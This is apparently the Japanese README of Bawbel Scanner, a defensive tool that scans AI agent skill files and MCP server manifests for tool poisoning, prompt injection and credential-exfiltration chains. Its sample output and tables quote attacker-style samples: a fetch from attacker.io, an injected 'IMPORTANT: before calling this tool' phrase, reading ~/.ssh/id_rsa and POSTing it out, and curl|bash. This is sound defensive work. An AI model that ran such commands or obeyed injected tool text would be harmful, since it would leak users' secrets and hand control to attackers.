Bawbel Scanner

---

Bawbel は MCP サーバーを実行しません。

pip install "bawbel-scanner[all]"
bawbel scan ./skills/        # scan skill files
bawbel ssc https://server    # scan MCP server without starting it

---

コマンド

コマンド	説明
bawbel scan <path>	スキルファイルまたはディレクトリをスキャンし、AVE の脆弱性を検出します。--recursive、--format text|json|sarif、--fail-on-severity、--no-ignore、--watch に対応しています
bawbel report <path>	コンポーネントをスキャンし、検出項目ごとの修正ガイダンスを含む詳しい修正ガイドを表示します
bawbel creds <path>	対象を絞ったスキャンです。ハードコードされた認証情報とシークレットの露出のみを検出します
bawbel chain <path>	対象を絞ったスキャンです。安全でないエージェント委任チェーンのみを検出します
bawbel ssc <url>	サーバーを起動せずに MCP サーバーカードを取得してスキャンし、AVE の脆弱性を検出します
bawbel scan-server-card <url>	ssc のエイリアスです
bawbel conform <target>	MCP サーバーマニフェストを MCP 仕様に照らして評価します（評価は A+ から F）
bawbel scan-conformance <target>	conform のエイリアスです
bawbel accept <id> <file>	検出項目を誤検知または許容済みリスクとしてマークします。レビュー担当者と任意の有効期限を含む、根拠付きの抑制コメントを挿入します
bawbel pin <path>	スキルファイルをハッシュ化し、ラグプル検出用に .bawbel-pins.json に保存します
bawbel check-pins <path>	.bawbel-pins.json と照合し、スキルファイルに差異がないか確認します
bawbel cp <path>	check-pins のエイリアスです
bawbel init	プロジェクトで Bawbel Scanner を初期化し、.bawbelignore と bawbel.yml を生成します
bawbel version	バージョンと検出エンジンの状態を表示します

---

Bawbel を選ぶ理由

	Bawbel	NVIDIA SkillSpector	Snyk agent-scan	Cisco DefenseClaw
スキャン中に MCP サーバーを起動する	いいえ	いいえ	はい（stdio サーバー）	?
スキャン対象のスキルコンテンツを実行する	オプションの Docker サンドボックス段階のみ。デフォルトでは無効	いいえ	?	?
オープンな脆弱性データベース	はい（AVE、87 件のレコード、公開 API）	いいえ（内部ルール ID）	いいえ（内部ルール ID）	?
OWASP AIVSS v0.8 スコア	はい	いいえ（独自の 0-100 リスクスコア）	いいえ	?
複合攻撃チェーンの検出	はい（12 件の AVE 機能チェーン）	はい（TT1-TT5 の汚染フローと AST8 チェーン）	はい（チェーン数は非公開）	?
MCP 仕様への準拠度評価（A+ から F）	はい	いいえ	いいえ	?
Git にコミットされたピン留め／ラグプルの検出	はい	いいえ	いいえ	?
有効期限と監査証跡付きの抑制	はい（理由、レビュー担当者、有効期限）	基本機能（glob とフィンガープリント、有効期限なし）	基本機能（ignore フラグ、有効期限なし）	?
スキャンごとの LLM 使用状況とコストのテレメトリ	いいえ（#79 で追跡中）	はい（metadata.inference_usage）	いいえ	?
SARIF 2.1.0 出力	はい	はい	いいえ	?
ライセンス	Apache 2.0	Apache 2.0	Apache 2.0	Apache 2.0

? は、執筆時点（2026-09-12）で各プロジェクトの公開 README から検証できないことを意味します。 その他のすべてのセルの出典は、PR の説明に記載されています。

---

仕組み

システムの概要

ファイルを AIVSS スコア付きの検出結果へと変換するスキャンの流れ：

  your file
      |
      v
  [ Pre-processing ]
    code fence stripping
    negation context detection
      |
      v
  [ Stage 0: Magika ]
    ML content-type verification
    gates the text engines below if content type is dangerous
      |
      v
  [ Detection engines ]  (run in parallel)
    1a  Pattern    40 regex rules, stdlib only, always on
    1b  YARA       39 binary/behavioral rules
    1c  Semgrep    41 structural rules
    2   LLM        semantic analysis via LiteLLM
    3   Sandbox    Docker behavioral sandbox
      |
      v
  [ Deduplication ]
    merge by (ave_id, line)
    pattern > yara > semgrep > llm > sandbox priority
      |
      v
  [ Toxic flow analysis ]
    map findings to capability tags
    check all pairs against 12 chain definitions
      |
      v
  [ ScanResult ]
    findings[]          active findings, sorted by severity
    suppressed_findings[]
    accepted_findings[] new in v1.2.0
    toxic_flows[]
    risk_score          max(findings, toxic_flows)
    aivss_score         OWASP AIVSS v0.8

検出段階

パイプライン全体で 6 つのエンジンが実行されます。有害なフローを分析する前に、結果を統合します：

  Stage 0    Magika engine
             ML-based content-type verification, gates the engines below
             pip install "bawbel-scanner[all]"

  Stage 1a   Pattern engine
             40 regex rules, no deps, < 5ms
             always active

  Stage 1b   YARA engine
             39 rules, multi-condition matching
             pip install "bawbel-scanner[yara]"

  Stage 1c   Semgrep engine
             41 structural rules, multi-line context
             pip install "bawbel-scanner[semgrep]"

  Stage 2    LLM engine
             semantic analysis, catches synonym attacks
             pip install "bawbel-scanner[llm]" + API key

  Stage 3    Sandbox engine
             dynamic behavioral analysis in Docker
             BAWBEL_SANDBOX_ENABLED=true

             +-----------+
  All  ----> | dedup     | ----> findings[]
  results    | sort      |       sorted by severity
             +-----------+
                  |
                  v
             toxic flow
             analysis

---

誤検知の削減

検出結果を報告する前に、8 つのレイヤーが自動的に実行されます：

  file content
      |
      v  FP-1  code fence stripping       ~60% reduction
      |         content inside ``` blanked before scan
      |
      v  FP-2  negation context           ~15% reduction
      |         "Bad example:", "Never do this:" suppresses
      |
      v  FP-3  confidence scoring         ~10% reduction
      |         docs/ examples/ paths reduce confidence
      |
      v  FP-4  LLM meta-analyzer          ~7% reduction
      |         medium-confidence findings reviewed by LLM
      |
      v  FP-5a inline bawbel-ignore       per line
      |         
      |
      v  FP-5b block suppression          per section
      |         
      |
      v  FP-5c .bawbelignore patterns     per file
      |         gitignore-style glob rules
      |
      v  FP-6  justified suppression      per finding
               requires reason + reviewer + optional expiry
               audit trail in accepted_findings[]

レイヤー	仕組み	誤検知の削減率
FP-1	コードフェンスの除去	~60%
FP-2	直前の行にある否定の文脈	~15%
FP-3	信頼度スコアリング（パス、行の文脈）	~10%
FP-4	LLM メタアナライザー（オプション）	~7%
FP-5a	インライン ``	行単位
FP-5b	ブロック抑制	セクション単位
FP-5c	.bawbelignore パターン	ファイル単位
FP-6	監査証跡付きの根拠ある抑制	検出結果単位

すべての有効な検出結果には confidence フィールド（0.0–1.0）が含まれます。この値は AVE クラスのベースラインから始まり、出力に現れる前に FP-2 から FP-4 によって調整されます。 confidence_band() は、人が確認できるよう、値を "high" ／ "medium" ／ "low" に分類します。 パイプラインの全容については、エビデンスのライフサイクルを参照してください。

詳しくは抑制ガイドを参照してください。

---

トキシックフローの検出

単一の fetch() 呼び出しは検出結果です。認証情報を取得してから外部エンドポイントに 送信する fetch() は攻撃チェーンであり、2つの検出結果を組み合わせると、 それぞれ単独の場合よりもはるかに危険です。

Bawbel は、このような複合シーケンスを トキシックフロー として検出します。重複排除の後、 すべての検出結果は機能タグにマッピングされます。次に Bawbel は、すべてのペアを 組み込みの12種類のチェーン定義と照合し、危険な組み合わせが見つかると ToxicFlow を生成します。

ほかのスキャナーも複合攻撃を検出します。たとえば NVIDIA SkillSpector は、独自の AST 上で ソースからシンクへのテイント追跡（TT1～TT5）を提供しており、認証情報の 流出チェーンも含まれています。Bawbel のアプローチは、処理対象と出力内容が異なります。 チェーンは AST をたどるのではなく AVE の機能タグから構成されるため、 実行可能なコードだけでなく、自然言語の指示や設定にまたがるフローも検出できます。各フローには 安定した flow_id、独自の AIVSS スコア、および構成要素となる検出結果の AVE ID が含まれます。

  skill.md findings:
    AVE-2026-00003  credential-read   (READ ~/.ssh/id_rsa)         AIVSS 6.8 MEDIUM
    AVE-2026-00026  data-exfil        (POST to external endpoint)  AIVSS 6.8 MEDIUM
          │                │
          └───── chain ────┘
                   │
                   ▼
  ToxicFlow: credential-exfiltration   AIVSS 9.8  CRITICAL
    confidence: 0.83  (min of contributing baselines)

トキシックフローの AIVSS（9.8）は、個々の検出結果（6.8）より高くなります。 これは、チェーンが単なる機能ではなく、エンドツーエンドの完全なエクスプロイトを表すためです。

組み込みの12種類のチェーン：

フロー	必要な機能	AIVSS
認証情報の流出	credential-read + data-exfil	9.8
リモートコード実行	code-exec + external-fetch	9.7
サプライチェーン経由の RCE	supply-chain + code-exec	9.6
目標の上書き + 実行	goal-hijack + code-exec	9.5
横方向への移動 + 実行	lateral-movement + code-exec	9.4
ツールのポイズニング + 流出	tool-poison + data-exfil	9.3
ID の偽装 + 権限昇格	identity-spoof + privilege-escalation	9.2
永続化 + 流出	persistence + data-exfil	9.1
コンテキストへの注入 + メモリへの書き込み	context-inject + memory-write	8.9
目標の上書き + 流出	goal-hijack + data-exfil	8.8
スコープの拡大 + 流出	scope-expansion + data-exfil	8.7
隠蔽チャネル + 永続化	covert-channel + persistence	8.6

JSON 出力内のトキシックフロー：

{
  "flow_id": "credential-exfiltration",
  "title": "Credential Exfiltration Chain",
  "severity": "CRITICAL",
  "aivss_score": 9.8,
  "confidence": 0.83,
  "ave_ids": ["AVE-2026-00003", "AVE-2026-00026"],
  "capabilities": ["credential-read", "data-exfil"],
  "owasp_mcp": ["MCP06", "MCP07"],
  "remediation": "Remove credential access. Block egress to untrusted endpoints."
}

confidence は、構成要素となる検出結果全体の baseline confidence の最小値です。 つまり、チェーンの中で最も信頼度の低い要素を表します。チェーン全体の信頼度は、 最も確実性の低いコンポーネントを超えることはありません。

新しいフローを追加するには、scanner/core/toxic_flows/flows.py に1つエントリーを追加します。 ほかのファイルを変更する必要はありません。

---

インストール

pip

pip install bawbel-scanner            # core - pattern engine only
pip install "bawbel-scanner[yara]"    # + YARA rules
pip install "bawbel-scanner[semgrep]" # + Semgrep rules
pip install "bawbel-scanner[llm]"     # + LLM semantic engine
pip install "bawbel-scanner[all]"     # everything

Python 3.10 以降が必要です。コアのインストールに、ほかのシステム依存関係はありません。

Docker

イメージ	エンジン	最適な用途
bawbel/scanner:latest · 1.2.3	パターン	軽量な CI パイプライン
bawbel/scanner:full · 1.2.3-full	パターン + YARA	ほとんどのユーザーに推奨

公開済みのイメージは v1.2.3 です。1.3.0 のイメージはまだプッシュされていません。コンテナーで v1.3.0 の機能を使用するには、以下のコマンドでソースからビルドしてください。

# Scan a local directory (recommended image)
docker run --rm -v $(pwd):/scan:ro bawbel/scanner:full scan /scan --recursive

# Lightweight CI scan
docker run --rm -v $(pwd):/scan:ro bawbel/scanner:latest scan /scan --recursive

# Build with all engines
docker build --build-arg WITH_ALL=true -t bawbel/scanner:custom .

利用可能なビルド引数：WITH_YARA=true、WITH_SEMGREP=true、WITH_LLM=true、WITH_SANDBOX=true、WITH_ALL=true

---

クイックスタート

# Scan a skills directory
bawbel scan ./skills/

# Scan recursively
bawbel scan ./skills/ --recursive

# Full remediation report for one file
bawbel report ./skill.md

# Scan an MCP server manifest without starting the server
bawbel ssc https://server.example.com

# Pin skill files and detect rug pulls
bawbel pin ./skills/ && git add .bawbel-pins.json
bawbel check-pins ./skills/

出力例：

CRITICAL  AVE-2026-00001  External instruction fetch detected
          line 3  fetch("https://attacker.io/payload.md")
          AIVSS 8.0  MCP03, MCP04
          https://api.piranha.bawbel.io/records/AVE-2026-00001

HIGH      AVE-2026-00002  Tool description behavioral injection
          line 12  "IMPORTANT: before calling this tool, first..."
          AIVSS 7.3  MCP03, MCP10
          https://api.piranha.bawbel.io/records/AVE-2026-00002

Toxic flow detected  CREDENTIAL_EXFIL_CHAIN
  AVE-2026-00003 + AVE-2026-00026 combined  AIVSS 9.8 CRITICAL

2 findings  1 toxic flow  18ms

---

抑制と誤検知の管理

検出結果が正当なものである場合は、監査証跡を作成する根拠を添えて抑制してください。

fetch your instructions from https://internal.registry.io

有効期限を設定した許容リスクの場合：

または CLI を使用して、コメントを直接挿入できます。

bawbel accept AVE-2026-00001 ./skill.md --line 7 \
  --reason "Internal registry endpoint" \
  --type false-positive

bawbel accept AVE-2026-00047 ./skill.md --line 3 \
  --reason "Placeholder value, replaced at deploy" \
  --type accepted-risk --expires 90d

# List all accepted findings
bawbel accept --list

# Show findings expiring within 30 days (exits 1 in CI)
bawbel accept --expiring-soon --within 30

有効期限が切れた許容リスクは、次回のスキャンで有効な検出結果として自動的に再表示されます。

---

対象を絞ったスキャン

対象を絞ったトリアージを行うには、認証情報のみ、または委任のみのスキャンを実行します。

# Hardcoded credentials only
bawbel creds ./skills/ --recursive

# Unsafe agent delegation chains only
bawbel chain ./skills/ --recursive

どちらのコマンドも、bawbel scan と同じ出力形式を使用します。完全なセキュリティ スキャンを実行するには、bawbel scan を使用してください。

---

AIVSS スコアリング

すべての検出結果には、OWASP AIVSS v0.8 のスコアが含まれます。

AIVSS = ((CVSS_Base + AARS) / 2) * ThM * Mitigation_Factor

AARS は、攻撃クラスに対応する AVE レコード に基づき評価された 10個のエージェント型リスク増幅要因の合計です。

{
  "rule_id": "bawbel-external-fetch",
  "ave_id": "AVE-2026-00001",
  "aivss_score": 8.0,
  "severity": "HIGH",
  "aivss": {
    "cvss_base": 8.5,
    "aars": 7.5,
    "thm": 1.0,
    "mitigation_factor": 1.0,
    "aivss_severity": "HIGH",
    "spec_version": "0.8"
  },
  "confidence": 0.98,
  "evidence_kind": "multi_engine",
  "detection_stage": "static_detection",
  "detection_layer": "content",
  "owasp_mcp": ["MCP03", "MCP04"],
  "piranha_url": "https://api.piranha.bawbel.io/records/AVE-2026-00001"
}

---

AVE：すべての検出結果を支える分類体系

Bawbel Scanner は、エージェント型 AI コンポーネントの動作分類標準であるAVE（Agentic Vulnerability Enumeration）を実装しています。

AVE は、それぞれに AIVSS スコア、動作フィンガープリント、OWASP MCP Top 10 および MITRE ATLAS とのマッピング、侵害の兆候を備えた、個別の攻撃クラスに安定した識別子を割り当てます。Bawbel が生成するすべての検出結果は AVE ID に対応するため、異なるスキャナーを使用するチーム間で共通の用語を使えます。

AVE-2026-00001  Metamorphic Payload via External Config Fetch   AIVSS 8.0  HIGH
AVE-2026-00002  Tool Poisoning via Description Manipulation     AIVSS 7.3  HIGH
AVE-2026-00046  MCP Tool Hook Hijacking                         AIVSS 9.2  CRITICAL
... 87 records published total

公開済みレコード数	87（AVE-2026-00001～AVE-2026-00087）
このスキャナーに検出ルールがあるレコード数	43（パターン、YARA、または Semgrep ルールによるものが42件、Magika による AVE-2026-00024 が1件）
スキャナーメタデータのみで、ルールがないレコード数	8（AVE-2026-00041～00045、00049～00051）
スキーマ	1.1.0、aveproject.org/schema.htmlで検証可能
AIVSS	v0.8、すべてのレコードをスコアリング
クロスウォーク	OWASP MCP Top 10、MITRE ATLAS、NIST AI RMF、OWASP AST10

公開済みレコード87件のうち44件には、このスキャナーの検出ルールがありません。そのうち27件は、ルールで検出可能なstatic_detectionレコードであり、スキャナーの未対応分です。残る17件は実行時段階のレコード（runtime_observedが15件、runtime_drift_detectedが2件）で、エージェントの実行中にのみ現れる動作を記述しているため、設計上、ファイルの静的解析では検出できません。レコードごとの一覧と、このセクションのすべての件数を算出するコマンドは、bawbel/scanner#79にあります。

どのスキャナーでも AVE ID を出力できます。実装者向けガイドとレコードインデックスについては、aveproject.orgをご覧ください。

---

検出エンジン

エンジン	機能	インストール
Pattern	AVE レコードに対応付けられた40個の正規表現ルール	常に有効
YARA	39個のバイナリおよび動作YARAルール	[yara]
Semgrep	41個の構造的なSemgrepルール	[semgrep]
LLM	意図とコンテキストのセマンティック分析	[llm]
Magika	MLベースのコンテンツタイプ検証	[all]
Sandbox	Dockerでの動的な動作分析	以下を参照

---

ステージ3：動作サンドボックス

サンドボックスは、スキルファイルを隔離された Docker コンテナ内で実行し、実行時の悪意ある動作（外部への接続、認証情報の読み取り、シェルインジェクション、ファイルシステムへの書き込みなど）を監視します。これらは静的ルールでは検出できません。

イメージ： hub.docker.com/r/bawbel/sandbox · bawbel/sandbox:latest · bawbel/sandbox:1.2.3

要件： Docker Desktop または Docker Engine が起動している必要があります。

サンドボックスを有効にする

BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md

または、.env / bawbel.ymlに追加します。

# bawbel.yml
sandbox:
  enabled: true

イメージのセットアップ（3つのモード）

BAWBEL_SANDBOX_IMAGE	動作
default (推奨)	まずローカルの Docker キャッシュを確認します。見つからない場合は、Docker Hub からbawbel/sandbox:latestを一度だけ取得してキャッシュします。以降のスキャンではキャッシュを使用するため、ネットワークは不要です。
local	Docker Hub を完全にスキップします。パッケージに同梱されている Dockerfile からサンドボックスイメージをビルドします。ネットワークから隔離された環境やオフライン環境で使用してください。
<custom-image>	独自のイメージを使用します。任意のレジストリを指定できます：registry.company.com/bawbel/sandbox@sha256:abc123

defaultでの初回実行： Bawbel は Docker Hub からbawbel/sandbox:latestを自動的に取得します（約200MB、初回のみ）。以降のスキャンではローカルキャッシュを使用するため、即時に実行でき、ネットワーク呼び出しはありません。

localでの初回実行： Bawbel は同梱の Dockerfile からイメージをビルドします。初回実行には約60秒かかり、その後はキャッシュされます。

# Recommended: default (auto-pull, cached)
BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md

# Offline / air-gapped: build locally
BAWBEL_SANDBOX_ENABLED=true BAWBEL_SANDBOX_IMAGE=local bawbel scan ./skill.md

# Custom enterprise image
BAWBEL_SANDBOX_ENABLED=true \
  BAWBEL_SANDBOX_IMAGE=registry.company.com/bawbel/sandbox:v1 \
  bawbel scan ./skill.md

サンドボックスが検出する内容

カテゴリ	例
ネットワークへの外部接続	pastebin.com、rentry.co、ngrok トンネル、Webhook キャプチャサイトへの接続
認証情報へのアクセス	~/.ssh/、.env、秘密鍵ファイルの読み取り
ファイルシステムへの書き込み	~/.bashrc、~/.zshrc、cron ディレクトリへの書き込み
プロセスインジェクション	curl|bash、wget|bash、eval()、exec()、予期しない pip install

---

CI/CD

# .github/workflows/security.yml
# The SARIF upload needs: permissions: security-events: write
- name: Bawbel scan
  id: bawbel
  uses: bawbel/integrations@v1
  with:
    path: ./skills/
    fail-on-severity: high
    format: sarif

- name: Upload to GitHub Security
  if: always()
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: ${{ steps.bawbel.outputs.sarif-file }}

このアクションは bawbel/integrations で管理されています。 SARIF ファイルを自動で書き込み、そのパスを sarif-file 出力として公開します。

Pre-commit（ステージング済みの .md、.json、.yaml、.yml、.txt ファイルをスキャンします）：

# .pre-commit-config.yaml
repos:
  - repo: local
    hooks:
      - id: bawbel-scan
        name: bawbel scan
        entry: python -m scanner.bawbel_pre_commit --fail-on-severity high
        language: python
        additional_dependencies: ["bawbel-scanner==1.3.0"]
        files: \.(md|json|ya?ml|txt)$

---

出力形式

bawbel scan ./skills/ --format text    # human-readable (default)
bawbel scan ./skills/ --format json    # machine-readable
bawbel scan ./skills/ --format sarif   # GitHub Security / GHAS

---

関連情報

aveproject.org	AVE：エージェントの脆弱性列挙標準（87 件のレコード、スキーマ、クロスウォーク）
api.aveproject.org	AVE レコード API。ID ごとに JSON レコードを 1 件提供します
aivss.owasp.org	OWASP AIVSS v0.8 スコアリング標準
bawbel.io/docs	ドキュメント全文

---

貢献

CONTRIBUTING.md をご覧ください。最も大きな貢献となるのは、 AVE レコードに紐づいた新しい検出ルールです。 カバレッジの不足には、まだルールがない公開済みレコードが掲載されています。

git clone https://github.com/bawbel/scanner
cd scanner
pip install -e ".[dev,all]"
pre-commit install
python -m pytest tests/ -v

---